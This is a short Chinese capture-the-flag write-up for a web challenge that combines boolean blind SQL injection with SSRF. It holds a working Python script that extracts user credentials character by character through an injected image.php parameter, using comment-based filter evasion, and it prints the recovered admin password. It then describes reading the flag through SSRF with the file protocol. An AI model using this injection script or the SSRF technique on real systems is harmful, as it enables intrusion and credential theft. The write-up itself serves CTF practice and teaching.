点击此处获得更好的阅读体验
WriteUp来源
来自Venom
战队
题目描述
最新的网站测试器,作为非站长的你,能利用好它的功能吗?
题目考点
布尔盲注
SSRF
解题思路
查看图片处有注入
直接编写脚本跑注入就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import requests
import string
charset = ",@"+ string.digits + string.ascii_lowercase + string.ascii_uppercase
def r(s):
s = s.replace(" ", "/**/")
return s
sql = r("select concat(id,username,password) from users")
result = ""
for i in range(1,50):
for c in charset:
cc = ord(c)
url = f"http://eci-2zeir5o8p6vh6eotta01.cloudeci1.ichunqiu.com/image.php?id=-1/*
*/or/**/(ascii(mid(({sql}),{i},1))={cc})"
r = requests.get(url)
if len(r.text) > 1024:
result += c
print(result)
break
最后注入出来的的账号为admin
,密码为5396d7e771d5d61505b8
登陆之后有个ssrf,直接file协议读flag就行